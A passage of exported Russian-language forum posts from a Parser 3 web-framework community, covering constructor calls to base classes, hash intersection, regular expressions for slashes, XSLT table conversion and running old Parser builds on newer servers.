2. найти все ячейки \"выше\" и \"левее\" по документу у которых определен rowspan (тут вообще интересно, чтобы понять что ячейка левее нам [b]уже[/b] надо знать индекс, который мы вычисляем)\
3. вынуть значения всех этих атрибутов, посчитать \"дотягиваются\" ли эти объединения до нашего Y-ряда (те что не дотягиваются - отбросить)\
4. посчитать сколько уже было в ряду ячеек до этого\
5. вычислить на основе этой информации X-координату\
\
возможно ли? по крайне мере мне моих скромных познаний xpath и xslt не хватает точно."
"83436","Возможно, понадобится пара заранее созданных ключей по атрибутам.\
\
Но народ вполне делает: [url=http://stackoverflow.com/questions/24309249/converting-html-to-xls-using-xsl]туда[/url] и [url=http://stackoverflow.com/questions/19044741/how-conver-excel-xml-to-html-using-xslt]обратно[/url]."
"83437","\"Туда\" они обсудили задачу без rowspan-ов. Как пишет Tim:\
[quote]This does assumes your tables are fairly well structured. It would become more complex if you had colspan and rowspan present.[/quote] \
после чего заканчивают обсуждение на предложении посмотреть как устроен excel-xml )))\
\
Насчет обратно вопросов вообще нет, преобразование простейшее, так как html-table менее строг"
"83438","XPath — мега-инструмент.\
Уверен, что справится.\
\
Считаю, что для работы с DOM стоит, по-возможности, использовать предназначенные для этого инструменты: либо xnode, либо полноценную трансформацию.\
Разбирать и преобразовывать DOM regexp'ами не очень надёжно.\
\
Если не получится — покажи минимальный пример HTML и итогового XML — подумаем над шаблоном."
"83440","Имхо, наличие/отсутствие аргумента/переменной != наличие отсутствие значения (и типа) этой переменной(аргумента), будь оно пустым, как void или None"
"83441","Переписал их как [code].disabled .control_button:hover[/code] и [code].disabled:hover[/code]. Исправилось?"
"83442","Дело не столько в значении, сколько в его проверке в методах.\
\
У меня обычная практика перед проверкой типа и прочего проверять определённость:\
[code]@method[param]\
^if(def $param){\
	…\
}{\
	$param[default]\
}[/code]\
\
Тогда метод можно звать без параметра или с void — в обоих случаях будет выставлено значение по умолчанию.\
\
Тут, конечно, не парсерный код, но ожидаешь подобного подхода, и ругань на «проброшенный» параметр мне кажется излишней."
"83443","Ну да, в реальной практике = \"ничего\" и \"никто\" = имеет один логический поток.\
Написали полноценный webapp-каркас от A-z, и я что-то не припомню, где нужно было раздельное поведение для void и def."
"83444","Благодарю."
"83445","Минимальный HTML и XML  в первом посте. Я повыкидывал ненужное, но основа именно такая."
"83446","Хочется проверять есть ли общие значения у двух хешей, но не хочется крутить цикл.\
\
\
[code]\
Хеши, как правило, вида:\
$.0[A] $.1[B]\
\
А значения всегда is string\
[/code]\
\
Или хотя бы какой-то а-дя ^таблица.locate[] только для хеша\
\
Думаю может как-то их можно в один приём в таблицу, потом таблицу развернуть\
и значения сделать ключами хеша, а там и intersects уже есть.\
\
Т.е. при сравнении мы можем (хотелось бы) превратить значения в ключи (учитывая что ключи уникальны, т.е. сложатся, что логично), но есть ли ограничения для длины имени ключей, ведь строки могут быть длинными...\
\
\
Ну или как-то в приём без циклов - превратить это в таблицы вида,\
[code]\
0   1   2\
A   B   C\
[/code]\
\
которые можно потом развернуть (транспорнировать) а там уже есть locate\
\
\
\
P.S.: сам пока склоняюсь к тому, что наборы параметров которые требуют сравнения с \"разрешенным\" набором других параметров - больше не буду хранить в значениях хеша,\
а тупо делать булевые ключи\
[code]\
$.allowed_ip[\
   $.[$ip1](true)\
   $.[$ip2](true)\
   $.[$ip3](true)\
]\
[/code]\
тут и intersect из коробки и add и union.... хотя конечно это извращение..."
"83447","[code]$_a[^mirror[$a]]\
$_b[^mirror[$b]]\
\
^if(^_a.intersects[$_b])[y;n]\
\
\
@mirror[hash][locals]\
$result[^hash::create[]]\
\
^hash.foreach[key;value]{\
	$result.$value[$key]\
}[/code]\
\
«Без перебора» — не самоцель.\
Очевидно, что перебор всё равно понадобится.\
\
К тому же, у вас же не миллион ключей в хеше настроек, чтоб переживать о скорости перебора."
"83449","Собственно по коду того же PF вижу, что если конструктор идет из базового класса,\
то можно вызывать так:\
\
[code]\
@CLASS\
MyClass\
\
@BASE\
BaseClass\
\
@create[_param]\
^BASE:create[$_param]\
\
или\
\
$self[^BASE::create[$_param]]\
\
или вообще\
\
$result[^BASE::create[$_param]]\
\
[/code]"
"83450","TL;DR\
хеш -- это конструкция, у которой оптимизировал доступ к элементам по ключам и почти все встроенные методы хэша пользуются этим.\
\
методов, делающих аналогичное, но оперирующих значениями -- нет. да и в общем случае сделать их невозможно, т.к значениями хешей могут быть любые объекты, в том числе такие, которые напрямую сравнить невозможно."
"83451","[quote]^класс:метод[параметры] - вызов метода родительского класса (примечание: хотя такой синтаксис вызова метода и похож на синтаксис вызова статического метода, фактически, в случае динамического метода, происходит динамический вызов метода родительского класса)[/quote]"
"83453","Т.к. в доке и ^BASE::конструктор[] тоже приведен тут же по тексту. \
А вообще отбой, вопрос бредовый и был задан в состоянии усталости :)"
"83454","А вообще отбой, вопрос бредовый и был задан в состоянии усталости :)\
Сам себе отвечу в этом же уровню."
"83456","[code]\
@main[]\
  $o[^base2::create[]]\
  $o.CLASS_NAME\
\
  $o2[^base2::create2[]]\
  $o2.CLASS_NAME\
\
  $o3[^base2::create3[]]\
  $o3.CLASS_NAME\
\
\
@CLASS\
base1\
\
@create[]\
\
\
@CLASS\
base2\
\
@BASE\
base1\
\
@create[]\
  ^BASE:create[]\
\
@create2[]\
  $result[^BASE::create[]]\
\
@create3[]\
  $result[^BASE:create[]]\
[/code]\
\
Резлуьтат:\
base2\
base1\
string\
\
Неожиданно, правда? :)\
\
Если в конструкторе явно задать $result, то результатом работы конструктора будет именно то, что мы задали в result, а не объект класса.\
\
Поэтому в create все происходит правильно. Мы вызываем конструктор базового класса (base1) для конструирования класса base2.\
\
А вот в create2 мы зовем конструктор из base1 для создания объекта класса base1 и возвращаем объект класса base1.\
\
В create3  вообще все хитро. Мы вызываем конструктор, но возвращаем строку, потому что результат работы констуктора base1 проигнорирован  и create3 возвращает пустую строку.\
\
Так что правильный только первый вариант. Явное задание result используем только если нам надо вернуть из конструктора объект другого типа. Это поведение нужно, когда мы хотим делать синглтоны или фабрики в классах."
"83457","Ответ= все три (на самом деле 3.5) способа имеют право на применение, но в разных случаях.\
\
[code]\
@CLASS\
BaseClass\
\
@create[_param]\
   $self.param[$_param+base]\
\
#----------------------------------\
\
@CLASS\
MyClass\
\
@BASE\
BaseClass\
\
@create[_param]\
   $self.param[$_param]\
\
# 1. Если мы хотим просто дополнить процедуру\
#    базового конструктора, то вызываем его статически \
#    и потом доделываем что-то в частности\
\
   ^BASE:create[$self.param]\
   $self.param[$self.param+child]\
\
\
# 2. Мы можем хотеть отдельный объект базового класса внутри контекста\
#    дочернего для каких-то \"адаптеров\", тогда мы делаем так:\
\
   $self.baseobj[^BASE::create[$self.param]]\
\
# 3. Если нам нужна просто прозрачная трансляция базового конструктора \
#    без манипуляций - то мы просто НЕ объявляем конструктор - в дочернем.\
\
# 3.1. @create[] <- не объявляется в дочернем классе\
\
\
# 3.2. А можем поделать что-то процедурное, но не трогая контекст самого объекта ($self)\
#    и гарантируя, что он будет таким, какой его создает базовый конструктор\
#    тогда мы можем сделать так:\
\
   ^if($_param eq 'test2'){\
      ^MAIN:somedo[manipulation]\
      $result[^BASE::create[$_param]]\
   }\
\
#   а вот так, мы вообще не можем делать, всё сломается (да оно и не надо)\
   $self[^BASE::create[$_param]]\
\
\
@main[]\
\
   $obj[^MyClass::create[test]]\
   $obj.param           = 1. test+base+child\
   $obj.baseobj.param   = 2. test+base \
\
   $obj[^MyClass::create[test2]]\
   $obj.param           = 3. test2+base\
   $obj.baseobj.param   = не существует, т.к. $self идет из базового конструктора\
[/code]"
"83459","Если убрать все лишнее, то вы написали...\
\
Собственно по коду того же PF вижу, что если конструктор идет из базового класса, то можно вызывать так ... или ... или вообще.\
\
Я сразу полез смотреть где я такую ересь мог написать. Не нашел. :)"
"83460","В вопросе цель вызова не уточняется.\
\
Разные варианты делают разное.\
Самый частый случай — создание объекта-наследника — да, первый вариант.\
\
[quote]Если в конструкторе явно задать $result, то результатом работы конструктора будет именно то, что мы задали в result, а не объект класса.[/quote]\
\
Я в курсе, недавно специально уточнял этот момент, который совершенно не освещён в документации."
"83462","[quote]...который совершенно не освещён в документации[/quote]\
\
Вот! \
\
Именно к этому и был вопрос: как и в каких случаях, что будет.\
Но вчера я не готов был.\
\
Отдельный спортивный интерес, про что происходит \
в случае $self[^BASE::create[]] - зачем оно так, не знаю, но всё ломается"
"83463","[quote] т.к значениями хешей могут быть любые объекты, в том числе такие, которые напрямую сравнить невозможно.[/quote]\
\
Да, понимание этого было и есть (но спросить то можно :)"
"83464","[quote]Отдельный спортивный интерес, про что происходит \
в случае $self[^BASE::create[]] - зачем оно так, не знаю, но всё ломается[/quote]\
\
$self напрямую переопределять нельзя.\
Только через $result в конструкторе при создании объекта."
"83466","не помещало мне завести [url=http://www.parser.ru/forum/?id=83053]тред[/url], надеясь привлечь внимание к недокументированности.\
\
Есть мнение, такие ключевые моменты нужно описывать не в комментариях, а в самой документации.\
\
Обычно комментарии пишу, но печально смотреть, что они висят годами.\
Неплохо бы, чтобы комментарии со временем становились частью документации, иначе полезные сведения оказываются сильно рассредоточены."
"83468","Комментарии к документации специально сделали, чтобы добавлять описание сложных случаев. Поддержкой доки из сообщества никто заниматься не вызвался. Миша и Моко делают это в силу своих сил и свободного времени. Поэтому хотите помочь — пишите комментарии к доке, возьмите на себя написание и редактирование документации.\
\
p.s. Подствека кода в комментариях и прочие рюшечки не имеют значения — текста вполне достаточно. Хотите что-то сложное, выложите на Гитхаб и поставьте ссылку. :)"
"83470","... а создание объекта базового класса. Поэтому только первый. :)"
"83471","Видим же обращение к базовому ^BASE\
видим использование конструктора,\
значит = вызов конструктора базового, \
\
хотя формально - да, с таким же успехом можно было вместо \
\
[code]\
$obj[^BASE::create[]]\
сказать\
$obj[^SomeBaseClass::create[]]\
[/code]\
\
\
Просто в документации дословно написано:\
------------------------------------------------\
[i]для обращения к своему ближайшему родительскому классу (базовому классу) можно использовать конструкции [b]^BASE::конструктор[параметры[/b]] и [b]^BASE:метод[параметры][/b]\
[/i]\
------------------------------------------------\
\
\
[code]\
Что кстати и сбило с толку, т.к. я помню в PF'e было\
^BASE:конструктор[]\
а документация явно намекает, что надо пользовать ^BASE::конструктор[]\
[/code]"
"83472","[quote]можно использовать конструкции ^BASE::конструктор[параметры][/quote]\
\
Похоже это явная ошибка в документации (поскольку сомневаюсь, что хоть когда-то такое поведение имело место).\
\
Точнее \"динамический вызов метода родительского класса\" действительно происходит, но для нового объекта, а не текущего. :)"
"83473","Здравствуйте,  столкнулся с одной проблемой.\
Делаю форму обратной связи по инструкции - http://www.parser.ru/examples/feedback/\
И вроде все хорошо, но когда нажимаешь оправить он почему-то отправляет данные не с http, а с https. \
\
При этом, выдает ошибку 404 так как по адресу  https://sait.tu/forma/ - страницы нет, страница находится по адресу http://sait.tu/forma/\
\
Как исправить данную проблему? \
\
P.S. Сертификаты SSL тоже отсутствуют.\
\
Спасибо."
"83474","А сама страница с формой на http странице? Тогда наверно у вас какой то очень странный редирект на сервере настроен, если вы явно https в action не укажете, то перехода на этот протокол и не будет. Посмотрите настройки сервера (в конфиге, .htaccess) - нет ли там редиректов"
"83475",".htaccess\
\
Вот что в файле .htaccess\
\
[code]# Parser 3 настройках\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser.parser3.cgi\
<Files ~ \"\\.(p|cfg|htaccess)$\">\
Order allow,deny\
Deny from all\
</Files>\
# Конец Parser 3 настройках\
\
# Редирект с www на http\
RewriteEngine On\
RewriteCond %{HTTP_HOST} ^www.sait.ru$ [NC]\
RewriteRule ^(.*)$ http://sait.ru/$1 [R=301,L]\
RedirectMatch 301 ^/c/(.*) /class/$1\
# Конец редиректа[/code]"
"83476","Да сайт находится на http, а как явно указать https в action"
"83477","Сделайте на отдельной странице простую HTML-форму вообще без кода  - она тоже будет на https сабмититься?"
"83478","Столкнулся с проблемой обращения к .CLASS из дочернего класса для родительского.\
\
Структура классов выглядит следующим образом\
\
Ticket \
Task -> Ticket\
\
для объекта task вызывается метод, в котором производится вызов\
^Ticket:CLASS.method[] - в реальности этот метод вызывается не от Ticket, а от Task.\
При этом $Ticket:CLASS.CLASS_NAME - вернет Ticket.\
\
И такой код сработает правильно:\
$source[$Ticket:CLASS]\
^source.method[] - будет вызван от Ticket\
\
Есть ли этому объяснение или это ошибка?"
"83479","Создайте отдельный полноценный код  - пример (с создание класса A,B,объектов), \
который будет содержать только конкретную проблему.\
И который по-вашему работает не так, как вы ожидаете.\
\
И тогда будет намного проще и быстрее.\
\
P.S.: Не пренебрегайте оформительским тегом \"code\" - по-возможности."
"83480","Смысл проверять класс на существование, \
если при такой проверке происходит реальный \"тычок\" в класс \
и как следствие - срабатываение autouse, \
в попытке обратиться к несущ.классу.\
\
Ожидаемое поведение, это \"бескровно\" проверить, есть ли такой класс,\
без всяких ^try\
\
Это как с проверкой is junction,\
который \"починился\" только через reflection:is\
\
P.S.: Просто в такой реализации он теряет смысл, и проще на каждую такую\
проверку тыкаться в хеш ^reflection:classes[]"
"83481","Да, конечно неправильное поведение. Завтра исправление будет в ночных сборках."
"83482","Допустим, есть форма, некоторые имена полей которой берутся из базы данных:\
[code]\
<form>\
...\
	<input type=\"text\" name=\"$baza.name\" />\
...\
</form>\
[/code]\
\
Как взять значение из этого поля при, например, добавлении строки в БД.\
Конструкция $form:$baza.name не работает."
"83486","Через вызов вспомогательных скриптов(exec), или сервисов (http/curl) - возможно что угодно.\
\
А напрямую - нет (да это и не нужно).\
Парсер не может работать с BTC, т.к. в принципе не создан для скриптования работы с сетью, и чем-то низкоуровневым.\
\
Это шаблоназатор-фреймворк \"на стероидах\", который закрывает задачу по сборке и скриптованию Веб-приложений/Сайтов (как я это понимаю).\
\
В \"коробку\" Парсера встроены лишь некоторые методы по работе с удаленными узлами по HTTP, в том числе класс по работе с curl (более продвинутые возможности построения HTTP-запросов).\
\
Тем более, для unix-мира конвееризация ввода/вывода разного рода скриптов - это одно из естественных свойств."
"83487","Так и не понял, почему выдает ошибку.\
\
[code]^eval(^cartout.menu{$cartout.price * $cartout.coll}[+])[/code]\
\
С таблицей все нормально, без ^eval выдается нужное выражение."
"83488","^table.menu возвращает не выражение, а строку. eval пробует преобразовать ее в число, а не вычислить выражение. И у него, естественно, это не получается. \
\
[code]\
$total(0)\
^cartout.menu{\
  $total($total + ($cartout.price * cartout.coll))\
}\
[/code]"
"83489","[code]\
$total(0)\
^cartout.menu{\
  ^total.inc($cartout.price * $cartout.coll)\
}\
[/code]"
"83491","Уже есть в ночных сборках.\
\
[quote]Узнать можно обращением\
^if(def $h._default){…}[/quote]\
\
Кстати такая проверка не совсем корректна, в _default может быть например пустой хеш..."
"83492","Метод для проверки параметров на тип мы добавили, но он не работает для ловушки параметров:\
\
[code]\
@main[]\
  ^func[name]{code}\
..\
@func[*aArgs]\
  ^if(^reflection:is[aArgs.1;junction]){\
    $result[$aArgs.0 - $aArgs.1]\
  }{\
    $result[$aArgs.0 - none]\
  }\
[/code]\
\
Не знаю можно ли и стоит ли это править. :)"
"83493","\"относится ли элемент с указанным именем к заданному типу\", вот оно и ищет элемент с именем \"aArgs.1\", которого понятно нет. Когда программировал думал об этом, но идея парсить строку восторга не вызвала, особенно принимая во внимание, что элементы с . в имени вполне себе возможны."
"83494","Может это поможет, человек который раньше отвечал за сайт написал: \
\"Движок, который там используется в последней версии есть для FreeBSD 6.1 (у меня стояла 6.4): parser2.parser.ru/downloa... . Это 2004-2005 год. Сейчас используется 9.x.7 \
\
MySQL последний раз метод коннекта, используемый и на сайте и в админке, был в версии 4.1 (тоже 2004 год, сейчас используется 5.x). \
Даже если собрать новый выделенный сервер, мы такое ПО просто не найдём.\" \
\
\
\
На данный момент хостинг, где лежал сайт закрылся, а такое старое ПО вряд ли кто-то еще держит на сервере поэтому посмотреть проект по ссылке не получится.\
\
\
Сможет ли кто восстановить?"
"83495","Мы можем для этого случая сделать ^reflection:is[*aArgs.1;junction]. Звездочка скажет, что до точки имя мультипараметра, после точки индекс. Парсинг примитивный и однозначный."
"83496","В имени переменной может быть любой символ, в том числе и *. А что там будет при вызове ^reflection:is[$from_anywhere;junction] предсказать заранее никто не может..."
"83498","Достаточно поставить пакеты compat*. Ну и возможно старый libmysqlclient.so.10 подложить.\
\
Вот у нас где-то еще более древний парсер parser2 вполне себе работает:\
\
>ls -la ***.parser2.cgi\
... Jul 31  2002 ***.parser2.cgi\
\
>file ***.parser2.cgi\
***.parser2.cgi: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked, interpreter /usr/libexec/ld-elf.so.1, for FreeBSD 4.5, not stripped\
\
>ldd ***.parser2.cgi\
***.parser2.cgi:\
	libm.so.2 => /usr/local/lib/compat/libm.so.2 (0x880b6000)\
	libmysqlclient.so.10 => /usr/local/lib/mysql/libmysqlclient.so.10 (0x880d1000)\
	libz.so.2 => /usr/local/lib/compat/libz.so.2 (0x88110000)\
	libc.so.4 => /usr/local/lib/compat/libc.so.4 (0x88120000)\
	libz.so.3 => /usr/local/lib/compat/libz.so.3 (0x881b9000)\
	libcrypt.so.3 => /usr/local/lib/compat/libcrypt.so.3 (0x881ca000)\
	libm.so.4 => /usr/local/lib/compat/libm.so.4 (0x881e2000)\
\
При этом на сервере FreeBSD 8.X и mysql 5.5.41-MariaDB-log FreeBSD Ports."
"83499","[code]@main[]\
  ^func[name]{code}\
\
@func[*aArgs]\
  ^if(^reflection:is[1;junction;$aArgs]){\
    $result[$aArgs.0 - $aArgs.1]\
  }{\
    $result[$aArgs.0 - none]\
  }[/code]"
"83500","[quote]Кстати такая проверка не совсем корректна, в _default может быть например пустой хеш...[/quote]\
\
Неуниверсально, конечно.\
Но для хеша с известными типами ключей хоть какой-то способ."
"83503","Доброго времени суток.\
\
При попытке отредактировать объект выдает ошибку\
http://screencast.com/t/cwhlBqv3\
\
В логах пишет\
/adm/estate/edit.html?realEstateDirectionId=1: /home/virtwww/w_crimeayacht-com_8f99fef1/http/parser/classes//location2.p(149:41): 'select' native method of table (table) accepts maximum 1 parameter(s) (2 present) [parser.runtime] [uri=/adm/estate/edit.html?realEstateDirectionId=1, method=POST, cl=319]\
\
Ищу человека, который исправит это дело."
"83504","та, что у вас -- совсем уж древняя, т.к. select поддерживает два параметра уже очень давно.\
\
не факт, что поможет, т.к. с тех пор много воды утекло и возможно вылезут какие-нить несовместимости, но попробовать -- несложно."
"83505","Сайт разворачивали из бекапа 2013 года. \
На хостинге скорее всего новая версия, а сайт - на старой.\
Вы можете посмотреть - поправить? За оплату, разумеется.\
Напишите как с вами связаться или стукните в скайп klenov"
"83506","Нужно заменить 2 или более идущих подряд конкретных символов на что-то другое.\
\
Например, сократить идущие подряд слеши где-то внутри строки.\
\
[code]\
$str[A/B///C/////D///B]\
\
^str.match[\\/\\/+][n]{/}\
\
дает результат: A/B/C/////D///B\
\
т.е. заменяет только /// , а //// и более не совпадает,\
а также почему-то между D///B - не сработало\
[/code]"
"83508","Доброго времени суток!\
Узнал, что есть возможность использовать libcurl в многопоточном режиме, как, например, вот здесь:\
[url=\"http://ru.libcurl.wikia.com/wiki/Multithread.c\"]http://ru.libcurl.wikia.com/wiki/Multithread.c[/url]\
Хотя не очень еще разобрался, да там еще и цэшная библиотека pthreads используется, в которой я точно не разберусь. Но вопрос все же вот в чем: возможно ли использовать многопоточность в libcurl в Парсере? Может кто-нибудь задумывался уже."
"83509","А многопоточность в программе на Си, которая использует libcurl. Потоки создаются через библиотеку pthreads.\
\
Парсер сейчас однопоточный. Сомневаюсь, что кто-то возьмется добавлять многопоточность в Парсер. Во-первых смысла в этом не много, во-вторых реализация и тестирование крайне нетривиальные. :)\
\
p.s. В русском описании примера ошибка... Написано «multithread.c - запуск нескольких потоков для получения одного URL. Необходима поточная библиотека.». Хотя в коде загружают одновременно РАЗНЫЕ url, а не ОДИН."
"83510","Спасибо, попробую, а фигурные скобки у области замены, как указано в документации это что-то меняет?"
"83511","Квадратные скобки используем если замена статическая, т.е. не содержит ссылок на $match или другие переменные и операторы Парсера. В вашем случае мы меняем любое количество слешей на один слеш. С квадратными скобками будет работать быстрее."
"83512","Во-первых как curl'ы, так и parser'ы это процессы, которые могут быть (а так и есть) запущены одновременно (веб-сервером, демоном), что суть и есть одновременные потоки (только более жирные т.к. обвязаны инструкциями ОСи, но при нынешних объемах дормовой памяти, не так уж и страшно).\
\
Во-вторых, увязать несколько одновременных процессов parser/curl - в рамках одного контекста/конвеера - это завсегда база/memcached/серверы_очередей или в простом случае - файлец с блокировкой (^file:lock[имя файла-блокировки]{код}) или hashfile - еще более шустрый, и тоже годный.\
\
\
В-третьих,  грядет HTTP 2.0 / SPDY, на который прозрачно перейдут (уже) все флагманские веб-серверы (Apache,NGINX), а он уже сам на уровне протокола подразумевает мультиплексирование запрашиваемых одновременно ресурсов (тело документа, картинки, и проч) в рамках одного соединения.\
\
В-четвертых, если что-то ультра-хайлоад критичное, то тут надо доставать GoLang, с его дешевыми и в то же время относительно безопасными горутинами. Он заточен под написание сетевых сервисов/серверов и хайлода.\
\
Для всего остального есть... мультипроцессные ОСи... и отстрелить себе ноги и голову тредами - чуть более, чем легко."
"83514","Казалось бы элементарная постановка задачи, но что-то с этими postmatch-ами и квантификаторами наигрался и есть ощущение, что результат достигнут методом тыка... правильно ли вообще сделано?\
\
[code]\
Задача: получить всю строку после 2-ого слеша (даже если там тоже слеши)\
\
$str[A/B/C/D//F////G]\
\
^_string.match[^^.+/.+/][nU]{$match.match}\
\
дает нужный результат: C/D//F////G\
\
не понятно только, почему этот результат в $match.match,\
когда там ожидаешь A/B/  а нужный результат в $match.postmatch ?\
\
\
\
а соответственно\
\
^_string.match[^^.+/.+/]['U]{$match.postmatch}\
\
выводит: C/D//F////GC/D//F////G\
\
т.е. скелееный двойной результат... почему - для меня загадка\
\
[/code]"
"83516","Вот жеж... спасибо"
"83521","[quote]Парсер сейчас однопоточный. Сомневаюсь, что кто-то возьмется добавлять многопоточность в Парсер. Во-первых смысла в этом не много, во-вторых реализация и тестирование крайне нетривиальные. :)[/quote]\
\
Это не совсем верное утверждение. :) Во-первых, в виде ISAPI парсер изначально многопоточный. Во-вторых, в режиме модуля apache парсер теоретически тоже может работать многопоточно (если сам apache в многопоточном режиме). Другое дело, что практически там все падало в libgc, поэтому в коде стоит явная проверка на prefork режим. Но давно не пробовал, может там все уже и получше...\
\
А вот парсер как язык программирования многопоточность не поддерживает и тут действительно нет ни планов ни особого смысла ее добавлять. Веб-сервер по природе своей задуман обрабатывать одновременные запросы, при программировании на парсере многопоточность нужна только в весьма редких задачах, в которых видимо правильнее использовать что-то другое. :)"
"83522","Версия парсера Parser/3.4.3 (compiled on x86_64-unknown-linux-gnu).\
Надпись при запросе http://сайт/cgi-bin/parser3.cgi\
\
Правильно ли я понимаю, что версия, на которой сделан сайт значительно старее... и ошибки из-за несоответствия версий.\
\
И нужно обновить версия парсера на сайте..."
"83523","[quote]И нужно обновить версия парсера на сайте...[/quote]\
\
А у вас бекап разве без парсера был сделан? \
\
[quote]Сайт разворачивали из бекапа 2013 года. [/quote]\
\
Подозреваю, что создавался сайт куда раньше и парсер там был старее, вероятно до версии 3.4.0. Правильно узнать какая была версия парсера раньше и поставить именно ее, архивы всех версий есть у нас на сайте."
"83524","[code]\
было:\
^str.match[^^.*/.*/(.*)^$][]{$match.1}\
\
стало:\
^str.match[^^[^^/]+(.*)^$][]{$match.1}\
\
или \
\
^str.match[[^^/]+(.*)^$][]{$match.1}\
\
[/code]\
\
И самое главное, как это [^^/]+ \"расшифровывается\", стыдаюсь спросить ;)\
\
\"символ входящий в группу \"начинается со слеша\" + любое их кол-во?\"\
\
P.S.: регулярки это ад }:)"
"83525","MoKo, спасибо за ответ.\
\
В бекапе есть папка parser3. Вот ее содержимое\
http://screencast.com/t/DuepJNTwJRy\
Можно ли узнать версию парсера не раскрывая бекап?\
\
\
Сейчас запрос на сайт вида http://crimeayacht.com/parser3/parser3.cgi\
выдает ошибку 500\
http://screencast.com/t/nGKJYMWdDIYJ\
\
И на сервере 2 папки parser и parser3\
http://screencast.com/t/EdLNSDaKmR"
"83526","я предлагал заменять .* на [^^/]+ (и так два раза)\
вы заменили .*/\
\
[^/] -- любой символ кроме того, что \"перечислено\" в скобках, в данном случае любой символ кроме слэша  (в парсере ^ удваиваются, поэтому ^^)."
"83527","[quote]Можно ли узнать версию парсера не раскрывая бекап?\
[/quote]\
\
Судя по размеру файла что-то в районе 3.3.0. А в чем собственно проблема\
распаковать архив? В общем если вы куда-нибудь выложите parser3.cgi (лучше в архиве, чтобы не побился), то я скажу вам его версию."
"83528","[quote]Похоже, $BASE:property — это обращение к статическому полю класса, и трюк «динамический вызов, под видом статического» вызова методов базового класса с полями не работает.[/quote]\
\
Сделал чтобы работало, уже в ночных сборках. Более того, теперь работает и $BASE:property[value], что никогда ранее не работало. Так что теперь наверное можно будет документировать такое поведение. :) Ну и поскольку найдена нормальная реализация, исчезли и баги, на которые мало кто наступал, но по факту их там было порядок."
"83529","Спасибо за желание помочь!\
На связь вышел разработчик сайта. \
Проблема была именно в версии parser."
"83530","Ох, ясно.. ^ внутри [] это наоборот. \
Тогда, да вроде ясно, так выглядит более корректно"
"83531","Заменил \
.* => [^^/]+\
\
получил:\
\
[code]\
\
$str[/A/B/C/D//F////G]\
\
^str.match[^^[^^/]+/[^^/]+/(.*)^$][]{$match.1}\
\
результат: /A/B/C/D//F////G\
\
кажется, видимо, из-за \"+\", который  0-n \
\
потому, что если\
\
^str.match[^^[^^/]*/[^^/]*/(.*)^$][]{$match.1}\
\
то, как раз то, что надо:\
результат:  B/C/D//F////G\
\
\
[/code]"
"83532","[code]\
\
$str[/A/B/C/D//F////G]\
или\
$str[A/B/C/D//F////G]\
\
^str.match[^^.*/.*/(.*)^$][]{$match.1}]\
\
результат один: G\
\
[/code]\
\
Вот вам и простая регулярка. \
Два ответа и оба мимо цели."
"83533","... только надо было ограничить жадность квантификатора.\
\
Вот два варианта, которые работают\
\
[code]$str[/A/B/C/D//F////G]\
^str.match[^^.*?/.*?/(.*)^$][]{$match.1}\
\
$str[A/B/C/D//F////G]\
^str.match[^^.*?/.*?/(.*)^$][]{$match.1}\
\
\
# Мишин вариант\
$str[/A/B/C/D//F////G]\
^str.match[^^[^^/]*/[^^/]/(.*)^$][]{$match.1}\
\
$str[A/B/C/D//F////G]\
^str.match[^^[^^/]*/[^^/]/(.*)^$][]{$match.1}\
[/code]\
\
Я думаю, что дальше вы идете искать в сети книжку Фридла «Регулярные выражения» и разбираетесь с темой. Регулярки достаточно простая тема, чтобы вставать в ступор на примитивных примерах."
"83534","На удивление работает как надо самописанная модификация первого варианта:\
\
[code]\
$str[A/B/C/D//F////G]\
или\
$str[/A/B/C/D//F////G]\
\
^str.match[^^/*.+/.*/][nU]{$match.match}\
\
результат всегда: C/D//F////G  \
как и нужно было\
\
[/code]\
\
в принципе, я понял что инвертируя жадность квантификаторов, \
я задаю приоритет основному выражению, т.е слеши не съедаются .+ и .*\
плюс n - не вычисляет большую таблицу совпадений\
но вот что такое $match.match и $match.postmatch я что-то так и не понял эмпирически\
хотя и работает"
"83535","Ну я скопипастил код ответа.\
Тут каждый символ может все перевернуть.\
Да, RTFM это ясно (похрустываю ими регулярно(!) но пока целиком так и не могу съесть)\
Мысли о \"жадности\" квантификаторов были с самого начала, да, спасибо."
"83536","Мелкая опечатка во втором варианте...\
\
[code]$str[/A/B/C/D//F////G]\
^str.match[^^[^^/]*/[^^/]*/(.*)^$][]{$match.1}\
\
$str[A/B/C/D//F////G]\
^str.match[^^[^^/]*/[^^/]*/(.*)^$][]{$match.1}[/code]"
"83537","Вы сформулировали задачу «получить остаток строки после второго слеша». В первом случае это C/D//F////G, а во втором B/C/D//F////G. Если надо игнорировать ведущий слеш, то это уже другая задача. Но регулярка не сильно сложнее получится. :)"
"83538","Тема то простая, общий смысл ясен, но синтаксис и ньюансы.\
\
Подскажите, мой первоначальный вариант он безопасен?\
Просто я изначально через инветирование \"жадности\" квантификаторов и шёл.\
И как бы попутно хотел, чтобы не вычислялась таблица групп совпадений, 1,2,3\
использовав для этого модификатор n\
\
в итоге:\
\
[code]\
для\
\
$str[A/B/C/D//F////G]\
и\
$str[/A/B/C/D//F////G]\
\
^str.match[^^/*.+/.*/][nU]{$match.match}\
\
результат работает, но я его боюсь... т.к. не уверен в нём\
и в том, почему $match.match и postmatch содержат одно и то же\
[/code]"
"83540","Не надо выдрючиваться с флагами, которых не понимаете. :)\
\
Пишите регулярку так, чтобы вы могли описать ее словами, линейно, с начала до конца.\
\
Берем ^str.match[^^.*?/.*?/(.*)^$][]{$match.1} и описываем: от начала строки пропустить ноль или более символов до слеша, потом пропустить ноль или более символов до слеша, взять ноль или более символов до конца строки и положить в первую группу; все, что получилось (это вся строка), заменить на то, что в первой группе. Никаких match. postmach нас не волнует, мы четко описали регуляркой то, что вы написали в задаче.\
\
Мишин вариант описывается также, только там жадность ограничивается самой логикой — мы берем не любой символ до слеша, а любой символ до слеша, кроме слеша.\
\
p.s. Чтобы на первых порах бвло проще, сначала опишите словами, а потом пишите выражение."
"83542","[code]\
для \
$str[A/B/C/D//F////G]\
и\
$str[/A/B/C/D//F////G]\
\
^str.match[^^/*.+/.+/][nU]{$match.match}\
\
\
^^ = от начала строки\
/* = 0 или более слешей\
.+ = любой символ в количестве 1 и более \
/ = слеш\
.+ = еще раз любой символ кол-вом 1 и более\
\
\
U - делает квантификаторы \"близорукими\" и они упираются в / /\
n - т.к. группы () не используем\
\
\
не ясным остается только match/postmatch\
\
[/code]"
"83544","Т.е. как бы \"стратегия\" изначально была такая:\
найти match совпадение подстроки, как 1-ой части всей строки (т.к. от начала)\
